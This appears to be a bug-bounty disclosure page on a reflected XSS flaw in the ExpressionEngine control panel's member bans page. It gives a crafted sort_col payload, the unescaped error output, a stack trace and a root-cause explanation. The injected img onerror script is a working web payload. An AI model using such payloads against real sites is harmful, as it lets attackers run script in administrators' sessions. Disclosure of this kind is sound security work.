Reflective XSS
The sort_col parameter on the members bans page is reflected unescaped into an error message, so a crafted link runs script in the victim's browser. An attacker could use this to run JavaScript in the context of a logged-in administrator.
- Fixed in 8 hours
- Disclosed after 11 months
URL Parameters /cp/members/bans search= sort_col=me%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain)%3Ember_id sort_dir=desc
The sort_col variable is reflected on the error page on line 15
<h2>Unknown field me"><img src=x onerror=prompt(document.domain)>mber_id</h2>
Error Page Details (Note: hackerone remove html from past)
Unknown field me">mber_id
ee/EllisLab/ExpressionEngine/Service/Model/Query/Select.php:356
Stack Trace: hide details
#0 ee/EllisLab/ExpressionEngine/Service/Model/Query/Select.php(213): EllisLab\ExpressionEngine\Service\Model\Query\Select->translateProperty('me">#1 ee/EllisLab/ExpressionEngine/Service/Model/Query/Select.php(99): EllisLab\ExpressionEngine\Service\Model\Query\Select->applyOrders(Object(EllisLab\ExpressionEngine\Service\Database\Query), Array)
#2 ee/EllisLab/ExpressionEngine/Service/Model/Query/Select.php(42): EllisLab\ExpressionEngine\Service\Model\Query\Select->buildQuery()
#3 ee/EllisLab/ExpressionEngine/Service/Model/DataStore.php(513): EllisLab\ExpressionEngine\Service\Model\Query\Select->run()
#4 ee/EllisLab/ExpressionEngine/Service/Model/DataStore.php(459): EllisLab\ExpressionEngine\Service\Model\DataStore->runQuery('Select', Object(EllisLab\ExpressionEngine\Service\Model\Query\Builder))
#5 ee/EllisLab/ExpressionEngine/Service/Model/Query/Builder.php(156): EllisLab\ExpressionEngine\Service\Model\DataStore->selectQuery(Object(EllisLab\ExpressionEngine\Service\Model\Query\Builder))
#6 ee/EllisLab/ExpressionEngine/Service/Model/Query/Builder.php(75): EllisLab\ExpressionEngine\Service\Model\Query\Builder->fetch()
#7 ee/EllisLab/ExpressionEngine/Controller/Members/Members.php(571): EllisLab\ExpressionEngine\Service\Model\Query\Builder->all()
#8 ee/EllisLab/ExpressionEngine/Controller/Members/Members.php(298): EllisLab\ExpressionEngine\Controller\Members\Members->buildTableFromMemberQuery(Object(EllisLab\ExpressionEngine\Service\Model\Query\Builder))
#9 [internal function]: EllisLab\ExpressionEngine\Controller\Members\Members->bans()
#10 ee/EllisLab/ExpressionEngine/Core/Core.php(189): call_user_func_array(Array, Array)
#11 ee/EllisLab/ExpressionEngine/Core/Core.php(94): EllisLab\ExpressionEngine\Core\Core->runController(Array)
#12 ee/EllisLab/ExpressionEngine/Boot/boot.php(151): EllisLab\ExpressionEngine\Core\Core->run(Object(EllisLab\ExpressionEngine\Core\Request))
#13 admin.php(143): require_once('...')
#13 admin.php(143): require_once('...')
Line 356 of Select.php
throw new \Exception("Unknown field {$alias}.{$property}");
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the sort column value is placed into an exception message that is rendered without HTML encoding.
What the attacker needed
Victim clicks a crafted link; victim is logged in to the admin panel
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a page takes a value from the web address and puts it straight into the page without cleaning it, an attacker can slip in code that the browser then runs. Here the sort column name is echoed into an error message, so a link can carry a small script. Anyone who opens that link runs the attacker's script as if it came from the site.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.